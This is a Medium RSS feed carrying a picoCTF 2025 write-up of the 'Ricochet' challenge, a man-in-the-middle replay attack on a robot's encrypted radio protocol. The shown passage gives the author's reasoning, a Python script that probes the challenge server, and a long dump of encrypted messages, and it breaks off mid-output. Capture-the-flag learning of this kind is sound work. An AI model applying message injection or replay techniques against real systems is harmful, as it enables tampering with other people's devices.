<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jin on Medium]]></title>
        <description><![CDATA[Stories by Jin on Medium]]></description>
        <link>https://medium.com/@jinkim138?source=rss-ed7b7375ab87------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ixSsCfOi60fEb9cD8MXD8A.jpeg</url>
            <title>Stories by Jin on Medium</title>
            <link>https://medium.com/@jinkim138?source=rss-ed7b7375ab87------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 23:51:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jinkim138/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Ricochet — picoCTF 2025 — MITM Replay Attack]]></title>
            <link>https://systemweakness.com/ricochet-picoctf-2025-mitm-replay-attack-bb47375fb7db?source=rss-ed7b7375ab87------2</link>
            <guid isPermaLink="false">https://medium.com/p/bb47375fb7db</guid>
            <category><![CDATA[ricochet]]></category>
            <category><![CDATA[mitm]]></category>
            <category><![CDATA[man-in-the-middle-attack]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[replay-attack]]></category>
            <dc:creator><![CDATA[Jin]]></dc:creator>
            <pubDate>Mon, 19 May 2025 07:13:31 GMT</pubDate>
            <atom:updated>2025-05-23T18:39:06.120Z</atom:updated>
            <content:encoded><![CDATA[<h3>Ricochet — picoCTF 2025 — MITM Replay Attack</h3><p>After solving some nice cryptography problems from my last two posts, <a href="https://medium.com/system-weakness/guess-my-cheese-part-1-picoctf-2025-affine-cipher-72df5b3a5f1e">Guess My Cheese (Part 1)</a> and <a href="https://medium.com/system-weakness/guess-my-cheese-part-2-picoctf-2025-brute-force-attack-0fc397004822">Guess My Cheese (Part 2)</a>, I wanted to try another cryptography problem. I came across <strong>Ricochet</strong> which seemed very interesting from the start because the codes that I needed to exploit were written in Python. From my experiences, Python wasn’t very easy to exploit because of its high level nature that mitigated a lot of the “weaknesses” from lower level languages like C/C++. So, I thought it would provide a good learning experience.</p><p>Additionally, the code files showed Diffie-Hellman key exchange parts, which got me excited because I assumed that the answer involved mathematical decryption of the secret. It was always nice to see something be resolved mathematically because, for some reason, it felt deeper than merely finding an answer; it felt like a moment where I inched closer to understanding something about our universe.</p><p>So, this seemed to be a “real” cryptography problem I was looking forward to, and in fact, it was much more. This problem touched on so many technical aspects of cybersecurity, and also, provided me a solid understanding of how a <strong>Man-In-The-Middle Replay Attack</strong> could be creatively carried out by an attacker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bT04weMSWam3hpivvc1ZNw.jpeg" /></figure><blockquote><strong>The Solution</strong></blockquote><p>I broke down the solution into 3 sections: how the system worked in its default state, explanation of the bugs that enabled manipulation, and the actual exploit method.</p><blockquote>How the system worked:</blockquote><p>I was provided with 4 code files: <em>radio_interface.py, robot.py, robotcontroller.py,</em> and <em>crypto.py</em>. I had to use the <em>radio_interface.py</em> file to communicate with the server that controlled the robot and the controller. The other 3 files were the source codes, which I had to carefully investigate to locate the exploitable bugs. But before anything, I needed to make sure that I understood how this thing worked out of the box.</p><p>So, in the <em>radio_interface.py</em> file, I saw that I could utilize 5 functions to receive debugging messages, inject commands, start the robot, stop the robot, and get details on the current state of the robot. I began by writing some code to start / stop the robot and examining how it behaved in the default state. The code and the output was as below:</p><pre># Initial Python program to test the default state of things.<br><br>import requests<br>import time<br><br># TODO: you will need to fill this in with the URL of the challenge<br>SERVER_URL = &quot;http://activist-birds.picoctf.net:51579&quot;<br><br># Returns a list of messages seen on the air since the last time this function<br># was called<br>def receive_radio_messages():<br>    messages = requests.get(SERVER_URL+&quot;/radio_rx&quot;).json()<br><br>    for msg in messages:<br>        print(&quot;DEBUG: Received message&quot;, msg)<br><br>    return messages<br><br># [message] argument should be a Python dict object<br>def inject_radio_message(message):<br>    requests.post(SERVER_URL+&quot;/radio_tx&quot;, json=message)<br><br>def start_robot():<br>    requests.get(SERVER_URL+&quot;/start&quot;)<br><br>def stop_robot():<br>    requests.get(SERVER_URL+&quot;/stop&quot;)<br><br># Get the location of the robot and the obstacles on the grid<br>def get_board_state():<br>    return requests.get(SERVER_URL+&quot;/state&quot;).json()<br><br>def main():<br>    # Starting robot and letting it run for 10 seconds then stopping robot.<br>    start_robot()<br>    time.sleep(10)<br>    stop_robot()<br><br>    # Collecting debugging messages.<br>    msg = receive_radio_messages()<br><br>    # Get robot&#39;s current state.<br>    state = get_board_state()<br>    print(state)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()<br><br><br><br><br># OUTPUT:<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;ack_validate&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;response&#39;: &#39;b9aaa32b2820666ed99e556853275d856207b23610a1d09c6017bc9d46061d9ead8916da5c9f69b2538657e3ce2397e0dfdf22ddfaf3bea046c20f76d7a00ac3&#39;}<br>DEBUG: Received message {&#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;msg_type&#39;: &#39;validate&#39;, &#39;challenge&#39;: &#39;2454cfe72c97040ea00ff57830d62aba&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;debug&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 255, &#39;message&#39;: &#39;Robot successfully validated&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;ack_key_exchange&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;key&#39;: &#39;884672cae35b7e1f6a34a64c93911e52a18e25de953b14ad3040eaac91e97106&#39;}<br>DEBUG: Received message {&#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;msg_type&#39;: &#39;key_exchange&#39;, &#39;key&#39;: &#39;2e343afc1290a096776be4969a659c22839b3c23f9abf0277e4f792ab01a7654&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_ack&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;73dce85dcdf88b8a8b37e3e284cc9114311c1dfcc6c1dce8d0fd3c4c3a41d97cb62421af906cefd910d327b29431fb1b73fe098510c481777654ba1ee71ff81688264dd321f32728ca0f7be2aed6cdb63a250d12ebd77e87eb40ff71ce2e6b091e6668849ffac8b08cb0dd8d531e734bbbb9372bf8034ea7b622a98f5e486fe3cfc3b2b231f90944afbe4d7ee0cb9522fb2e9681e4909118c2820a8d3e62ec5eefcc4f88f49524;0d67cf55a2827246f0400ab1a8dbbeb5;eb5e5127250e7ad22ec3ecf86aa28f4c729c85e798da2e73&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;53a6ed88f5fe9895d9979c098be4fac6d9afb51db420c7aff996caebe49275f1ed045372d90507e20267d63d86b4d101c8ca6c4b2600f9281edfdfe8f46873ee8b7e9bf359ce80e677a7d877082e4b382dca780457af41cbc6c90f9b4217b2d177be0ebf56d22c3ad553b6c8a42cf8b81c2af98c8e59b39c2a6477f83edf4d8b37332915ada36188d8a6c21935a1ac051f8ed7aaedc297e57d4b907f78c2074551ddbd4d66ad08e253c73bb27fac7531636272;dec9e91dceeae27a47ca483275eef5b0;f4425e494601df0cb562cf2300740797e53cd4c61db5ba84&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_response&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;80fad94a9bfd1c50c0408a14868cc948378ac00e7173417f0a0c00afc999f6367a764523dd699a19cea55668f9cbb21dbd4a8a537e0145bcdd441bd9521b2fb0ca29ac90435f8d4a4f8650e4c6be922fd0952e734e71ce3cbd35bbebd26e51339c6fc0e1785ddd32a2b69cb0e3fddf6d8baa60bb88d94280bf06ef1ddf816b409f872a6e3ecabe8d639feade9cd48957f464a6de7ef932744180717270df66312f58df15c490b213aeaaa4;ebe7098f5e183ddcfc9cf0ddc427f3ad;b022ed1221d7d92485f97eaa640a6b994c75506bd040af7d&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_request&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;f2f034107eec0be4141b03957f55c62e6ac70205cf8812df17d177c077b4ec119094f4fd8d96614990eae12304e566ffc5f33a269984dddbdbe0610d6d5ce3ac76d161f2fa4a2dfb5f2f99f40e2503aa777212546e64c11184c9c1a1db2a7a9860db3f03c7545824b940b1f6280b7c22b1e78185b6157c76918ed311528c88fbd7f47d27d070b557f031265afdf88614dc21a448588eba8b1d038a231e0c8ec3a3072b56b6e55f;c8059b3f2e0056782d409978024e62ba;03950160b57a8669d420e8c58ea77b5c6fb2e62d29a9b197&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_ack&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;bc9cbfd0ef21fc7f572d6b0ec45798e49dcc409abd272f9ae2f84eed51fd5a7414aa52cbcf664c904510c955e5a78cb672e13b8563a3de17de3b3f0871281b8290ced1c45dc6d5ea85e41adfc39f7487ed9942a34ea3f2eea8a6a093e5f7c78e67a2ba52293081318870da538b68bde0b1ad4b842e0730824dd275c55f939c82ecb8d8dc5164271923bc467f92e8ad2f0686cb4bb09ae9e5746f3dfed91ac06b3132143f0e1266;ed3f94a3d2276a11f2362a977f75a683;9d24afbf72737cd6385708eb721597112669b876115c3562&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;ea7c6cd54f21ff5781807b7a7007de3323b9e8ee13f140e96a8b7924b94891838deb07baa94e0705e02fa73f9564dc4c67513094cf085a7dbd42176e132cbc2a9f2b82b2cd9400a37beff664e79375325244f17e78fa1f5a93d0037d56948ac9cfa9c6f9b5efc6e8a5e61d065edfdbf11a02fe121aaf18716b0b6bb0a29595b9ba02782f516ba0171f7124913ce85d6d7a82ca0b500304e1b14ae2df3ed82f267d9019ea4a0e932467ea5458bb8803bc78541a;d708cc911d94608de335a9d4e0a536be;c3d273504d430bc83f1afec84b416d7696d329f2d3acb9d6&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_response&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;d417e12789b1f5ad29d475cab5bae6b9eed14d164e28b4d0ea0f5409c05324eea5c5058a5db455148c9eee11ccb5f002eb85744d470d54e3b2427ec2682d49ddff03a47db7d3fea7334a41f14360a641c7bbc1e8375f3cb860c6244e8519df75003db368fd2413af025c3755d3fbcf408adde4ef9c1acc12fa2aaa497d64bf4e6cb90b74f1a935765ec1542f00967f7c86647a8b91c5cf50d2b0adaaa3ba045a5a34b59fbaa2076f0337f31e;0f56d13c2f34f16d294fe66da41e259b;f26f973f5ab7db4143ff7b6097228ce6e8f21f5d861f8dba&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_request&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;2970ebb82e8249db73d3c351382913401f8b86d1c0a3bc7bdd69af5c940d98092d852ccc6aeae92abf63fc00e6ba5bf6f04f1423a52aecd745ee0c8b5a40a9a797aba8ce18142ac258a7438540d6a921b16a086bd28599953d1618f477113424e6ae98d4957d5895bf26804d71d7b1078e4fd558c0ca6b3513ca831537d3606f7ac711db8068b6a4e0fea2f516fc971371a1a5200f97f0e0a0570e707472c92d6cdc1df299ff71;1207ef7c4276bb68dc622f254dbec20d;eb08e23f67c9c0aadb61311156bbd4f4c3a5bcb5f0776265&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_ack&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;4491eb800c794989ed1d802dbcd3df7187094731ee1ba9dc3e53eadff3027de65bfbcb64245d5de58eee804e00389959bd8c6b150e20a8c542759d26ebba01c09c6b4ce8c8564a30a9570f72721fb091ce0efbd5a8ad6f79f337138b83f71ca619221017e093cb9ef35c5207d33c4990507729b73cc81887e0a8f7531b0605bbe35608ada46f694fdc9a658b733d071c62cdb178265435d02e5781c53324c3a06bd131cd83a749;e1edc8098d3d0f521ce421c1f494ccea;3fb6cf48084d8b848e87078ffc4a15db3263f8af93b468de&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;d0442a54b6654698a2ee27c9b93dc8d4baabe9c401e3f7ef3ef3f0dd95f85c21187cefc04ae768f44824758e887a0c588328cedb566fea7d8c11ce23007e67040ff47a062af0c52c4310dce787f9d5bfaf4cb2ded2094df230e5545a5381d279f7c2b1c69786456c0091f975f72ad077779e97deebdbb017f23020c037181c52dc3c3c7d86526fff22ed05b89d080d0056d75d9e4267fffc593101b5aca19263f375ddb4c5da8497d862c42941729c870c04e6;ba41291da3b9da18a1ea7831e38f08ff;4f0cfdbc08b2e814b5aded715d71bbd7471d573a74cefabc&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_response&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;88753b6a3239e2597c13eb42c15662b8966cceb35e4844058c9ff0cca26bf8f95e84093300433ee61582a2087b5572444dac0c07d92d529dace53cece0ef098dfc60d0ad2511a9ff2f32871bc920bc90066bf78c08cd17da0a028da43c4e1a45cf36fe89b0ae4d110eb3268c0f70a793221630ab13d490d622756880a4ea4a973201d14c5f0e01b03c62e1728093af8a3e2ed71b736cab02283f55bd01821a66ce6bf1a1d189e05b69526e;2fd6fce9601f99ccfdfd1b36a0d93baa;7f2d8145397aeff91f963b89dcfd1bed37b699e968560458&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_request&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;f4fef45ddbe2efdddc03c8c04f779641542e010e560b120f260e410cb938285f8e1440ad1fef6f93883ece28c38781355f57161723f33a30f87aded88ee5cb2b1b1a7c16e90ade98a6f8b707ec8d775c26a8edb50890150af82aee922f95460f4b4dd4ee5c0246a14e9c7f8867c903b4fd7a50f3f7ab20cbdab2d1fe10998e1676f7037eb73d3bf19e9ead3707a5b7aa8367bffca4561fe9eb1561728b3d66af2b8995516f3392;0d87ce6c8265ad562b12195a14ff1107;1b959d7ba097c1b69790765232db2ba09603c8d51bf8c4bb&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_ack&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;1c15ddb498d86436c511d862490ead9ffa7ef7a54d1311b590cc722cb7cf99dfc349c0f8cb8845aa8786c2a1e6957e0278f08168982cce706e90f8fd906035ee5b03e9f7e6866316178cdd3ae8bfb545dd31287b106930c5989804569c17016628c2285737e2a76a44085a6702769c73668d107fa481ad83acf8f13c2783abc93ebbb42622a419ebc22ca91043e4b7f11fcce57d0820df5b6130499532b4da5ae781a0d33e07d5;cf74daa17b0ed097406b42503d7ab857;668433fb427f39a14e8fda5657fdd20201ceb54c6efce5e6&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;e50819235ca862d32205615a615d51cb1f9f6a6f7a154af74795048050f3f3d9e2f5e18340b2550aaff4822c99ecee2ad2debb5b9e79d0316167d4bfd8bc1ccccac6ae30e6f679d8cbfc5dc6b7042b5674937cd1dce09baed0c1760acccd2905dee467b7f807f8895bff8b5b1257bbdb6b7efb9fc065d590f093ad1e4cd0e2411a722ec1c4f666a1e061d5ffd3e8d19e196201138868a95a117c03fe7801ea55fe8bb9f1f551f88a43161c587bc4e35a46e1ba;a94751b9ac3e1a5b4e41a9d5146845bc;37fb1a15b3c70c551b9517ee72b1d8053fe0d63f69c04132&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_response&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;0f505d439ea46fa2301a73e33f169c86462c09ef111d56a8ad35eb960f8a0e4ca255500cd2b97d236e6a6da1d4c04f152c2ea6b01d6c6e59499fcf091df9ac915ed81ff53e72dc8fab4351d31c149ce0e38df620a40ce505af91643e1e75ea19ae15ead078b42ef963e88b9f98e677416fb188c17933cc1830e280231361747fcaf914c6a8c9141b24792cc6a5b9ba1447898e6aa3f24161aa525327c4d42e24eeeee92c3ed989d97516dc78;80cd8d5c966bcb1844234aa4afa8f781;6cea3bf4625fa19ea055a09ed0b345f88550ef4dc2abb647&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_request&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;f4771a58aad65e570c1f61c49dc05812e0d2066ff372581a7081b33114f582a526b3d747f4ce9e702dfb1b79d726d3e56806cdc49dad50a5d2ebb31ebb1c87e8b52b9b9bf3583095bebcc3966dc74bfddaf54347b4bc31508f466026eeb49552156f5542e11bd75babb64c12e3bcd5843a8db4d8e4ea05cd967a06cbb2025585bad9ac7745ae45411074bbade9549293cc611e431fe7fd67f4dce63fee55ddd46cbce2a243a819;82f3e9bb06a6986bf25e8a4eac143cc5;5f09c9618e8bfb6908d91012a9dd3144d5a28a9aed05e8be&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_ack&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;54af4f25a4fa1c82c62a394f0302feab86d7c713b8b202fbbc7fd4e235b24016c94fb53f90aed354570d1d0c3e4c455b977d397abb36bee52870599a1f39c8c8b6e57d181a04427f0b6942e08e69f91f549c9a66c5a1e5300e6630a75fcc28fa3f2b96a23b9d9f8c0cca20e8c061256c9007dcb83d14d7c0c294580f7328f5d18b8a207adc5be0f251c61334edaa88ce585a2f780f0775284b97d1d57ac1a3965f68c26a9aad73;504496a3d3be1f5cc185416ac70541a6;d6d84302e168493cc367705311dfe3c7337c3ba4e789c998&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;6574e4a10500ec776908eebf5f08359a479179f6989efd39c3122d418e125654b9d4634475d9fec91a91ef978237f3d4a77d15b16c18d953adeba1759232885f68071ac869987d87881737168d28f4d3c3a83732e1c553f564fa52729dea1b2162b5c0a9446599c05d97945419b4870d351b7157d8d81e61e576be2baf5f3457cb619920e6a21db557c3d011f25c9d5de001fd5e5ddac1b2ee54641eb6726f0181326bb77f4f7db9419630e531bbf65d7433d8;a41e86ca2f939267ca05a8a2f0312ef0;91993aded2c0a76ba8b29b08b8c176fd793f51cd20a03013&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_response&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;64e96b31621ba2341b422f9063d9f78007a0c763d955de52d22ebdc72a531e6448c51b32ad2a30b61e9f78c15dd67a2ed74280aab22691a0f7f462c5562ae1b04dbaeca236b368d01f7b7902f5444926ab46d754ed496be9c074a2e3c1d6735abb9aa770e28b1eda8f6baf03674b8543e6fca8e3e33dda602a679e1306ae47e70cd0b20fdc4b79b37efa55acc8f22e79c907ac83d87f685563def6f06fe0102a9012352814d081d2368d74;220add5cccbe63e1df232bdbb907d907;f2d5eba1ddece4a6cdf6ef06fe5b30e09b7fd1ecd05db576&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_request&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;17deca6311ea18600f331668efe087a8edbb46a4eef5bc6956a2f0b2c0e2d76caf28f5f0d2bd7bf69b41a0b49746ea08672f40dcb154ee6f19a0a02001f1133e02c0e159b1d9145e4229e1a5a632aa044d218bb10f24aec772ac4fdefaf922c0683cc9bdfde4cce744025a5b914df2f51e410992affdf5a5bf5cfebcefb4a63f8a1cd424ee9c83d29c7d8a6d225f41af8a59ff4763b5cb284648ff39e7f0c350e1428e84e07565;f125176ae85060f15e4f56a49bd25478;667e87ab3fbc53a8c9a39f272336b4dd847be46d72305ecd&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_ack&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;e9b394b6a332d0dd9d5930752dd85aa337d802aea5aef51ab3c3f295825cc45d732f5c80484c44347339572db23ac0169715b35badc4cf15d9a4976f6203b45ff4a07aba119b243cdca70bab5111b821593784a95e65410855d68d9b057731e02a917e5e0bf22c1efaaeb619e1a4f8ac7ea720f8b46c6f175aee623ec36004fc6da7691e79c64296f302fd0d518c82546597c933cb78e93a38b069406ecf0ec9c925c6c5f9a21c14;38a7b443a5693519bb64156ed47f9bf1;9a2959aaf3d3e37ff2de0b289e9b402b60109ec22dfe862b&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;352999914bfbefce9bda00adff95b9adda4d4e0ad814db7796f3af102726df90d644cd912ff61c07d3f3341794499de849b3c2e4a37cfc64bff307976714b9eb2e2db5243f742cde0eb9eac18674c3b4e2aca73cf6b277d993f9915778b698af749a4828409917454dc9352ff0714d599bc5c0e332fd68f9b555361642b38f84be702f9c0e13d3fa5f8042744a737fa6149bb53b959402c62339f33f8bb00593152cd535919a30ca3b251cea9b599341ccdc6ac7;03de31ac93f3a4d56ead8404d233763f;9c83d4208962f649af1f25833758f1bfeedd7209ec3032eb&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_response&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;c7502f61c866892c820d9e5a35553d8ad39cdd1cf160e83824696bc1f3c26175fde75ecb2a76c4313f952129cdde15ba6d8927a27f7f8264ea050c51099ed542f035dadae83311e98f599ea0fa8cfbe9851dc92116acc5e3f5628cea587ad2ad6f37c3645e96d48d78d57b6ab902f6bb55605359eff58774a507555573f724c413dc796ca0f2a9a4f2e9d87413436c1cd28a5b78672420c9334cfaea32b43bb79f405fdda8c9c412d8ae895c72;a500c615a536dd69301ec4630a7e0873;a528ceff1a3e958a068b07d51f41d2108a16425bf14fd7ff&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_request&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;fbc23b24ffe69a0eea70d5aa7039874a601a9f531e1b993b8739842c93e3e3ad1145ab851544fc3e80106e2cd893c664f67f55bdf600a81e295bf274966a8d4c2ebd549bbbc896ae187d6f9fa2ca38dc744ce27041c33849c033e5728422948754df7f6680ebd2bf71d00397c7b930bbbd8d2416b36ee174a49dfc0508c8b11d6241aa76532204d3d808cefa383428b053a486cc74ceec5292fec9b51db92382102cfc5e9a5265fd;b658e4b78c3a77e444c95e345b39a5df;721083bb1ccdd1a91a09555c28599a87ecc518a68f970b1d&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_ack&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;fe89360408472d1e0a717db39c5311ba3d660c75e6c724be0d347ff449790326328521855a9a58d0517354830ea72d5fa8147231de488949c5d77df86d7fed5c25a6ad3c214197b2a666eb01967b27e9e9e238a2fa613617296e11c2a86696e7f7a61cbd4489382936585e13c2c6b784cda5e2addbcd896a700c152b09f22c5ebf95386340484a245182e46640cd1e12bc221b3aa2036353fa0f09224ba8c752c443a0815556bc87;6a860c6acf209b4c35d6fc5ceaf952fa;e1b3ae1fa01780293a94f97e231fcff6567388ce3040e91f&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;d652c3ab7189796edd24c30f5d7f3ea8129f209c32105a117a0aaa10161d6f3bcc8069282cf9546a884fa3944b22dd2dac03238065409f52c5a5e12fa123aa9f3da0aa49d9f912ab658416070aa5abae99a9a1d1bb22fa84369d0419d2d080e21430452b5d51ecc4605f7264d7008897e87d125e631bea09fbb87533380bc48d726e71cb48815d04d408b0ad1a120127d973a0a5369bc7d9f0b383afd35221a31111bc7749839a6c5d1c9d4e7fc444f33b55cfca;65a23259a73cbe648efcad8b065e5619;323da1b7c28a308e1bb5a35f85c153e06b5f7a60b3a6d7d0&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_response&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;e570fb0e9ffdcf5d1d8dfc807dfe529eea16c32530b64db0959dce517f67f1bf90ed6556821713d4f54712f2f1527fd45be68aeb5fa9033fdba37c76d2e48470c9bdb67bd7e7c40db3bcb43b91bed4e145bfdae7697ee75266a559e8a9534c44f069b74e3485aca1a5106d517debccec9958672feb81aeddc6b4de59381fcd376c1d973d7d7ee46ddc5093b8d1ffe46add3221a83d7965c86fdbd59537abdeb7530c037785b554b7bf7281ee;61ee617733695a5ecdc9f46613254cf4;1ba95a91cfd82d89320161050a3aeeec496ac342dd5c9ea4&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_request&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;a64d6c7380a0874adedd26ee70e7c73a5100a0dc6f901fb50aa01a964889aaafe3d966b2c35bb114ed04139cc60d2495eba327203b2207a125e576aa8a8192928802f02d1060a5266fc4a9459843bb96cf185db162c0a883a71e64e508cc23b9901736a9b20a3c79c55bc9e63aea8299c87ca078412081c61f40d47565ca819202bc196aaea110d65d41af4cd9c931b5705db457c2f7e6efbf704f351dd25b6ad029f007d2364ec1;204a92fc5bef6689aa33c9a624dd5a2d;fbaff69dab35e1a98af565eca114a5f9987052a5064fb2e4&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_ack&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;2195b6fe41785665b0b59d96f10235cf7502e4a31421d1156e90f6ab0eb1a93c15f416b4f8fda1592871618b9cd00e7dd4cab3678974f81903cd9bd0ced1e48cf899b8c35bb11af7e79fd294488b3a123188f4b4d3d8d1b9897210d7f6cc50e4b4c3c2da2986245f193bb365584410a4eb6d1f7ae47885dfaa5a1b6864a3dd7d69f03c9976bd8376260366a05fd646afd1eda61e3bd50da5abe728a9fc5fa2dc10911cde0bada4ee;f0af863be9dd601a4a215bbe8f585d0e;2bbacbeb6cbfbef8f0562aa864378a40138a673900721b43&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;5bb1249fdd8e523125014d8b0f5310fdde8d4da43cede1c320c3c1487c7e1aa2fd65d80788db05f4647c6b292d6753c76f919573229ed79f03b1cd27e30320400ab98752f29dc9d0b5b5c2ba18de0d1958cc28e766d40d2e61f00597ca4e44fa5b6b4b8a7a7351f442f77375aa8a4f898e5128e04aa26d0ec26558d0205ca7cc687e48157565eee2cd02885f5a576f8da925a35200da2b37073d43505f63e429b833b9ae91e8bc12f080dd5f37ae292087db6aa9;37edebc58a2e42e206d257d630ebfa99;d1f1e985b6303c0afabc5c6d36ba212986ba90bdf562dfee&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_response&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;3c6884781996f9297b84a3368a1892763b4a2619cab479fbada6f3bec54d81fdf999f7653b541bbce7023f39cb39537c8568e45b53ee0919a157ee7eec89af4ccbb4de4314322718d7463d0f9c86cf38972ba66c10f90c7b23827223e5848fecb30030f070761da8a13374b1e5babe0884f92656b37a4a2089a40341fdd76a64220c3a3fd3357adcc7c58c55ff9d30c80002a14179b04455edff8d3781af2e0eead1a5815e8efab52f99449d6a;7d1c573389c8eb7500e854e855e56da3;1ba3a813d4103bbe3ec23550b6cdc84d832a86f43dfef1b8&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_request&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;3a41d80a28ba987abbdf11c06cd7b0c307acd55070ea0808b6633b9cf1634c3f644feae286253841eb605a0bf0c61b34c62e36a10296720b022c5b81c092dac506b0677057c7c6a14689a51c5ddff24ace0e83d124d1aa06ec8459fc3e8a711ea9a8b1b8690a2c38b918cbf48734fc8ab5e00b126f2cc8e9cde3f86cc19cc3e4511535a5261b86b459257ad3d0619a7da61add03fa679769cbc7b96b7471f0ea18a0450d9658c200;4eb412654fe766f71b9e095b2cedf5a7;49cbf620e69fae6d0cb735e10f06a82f1bff4de535c57670&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_ack&#39;, &#39;src&#39;: 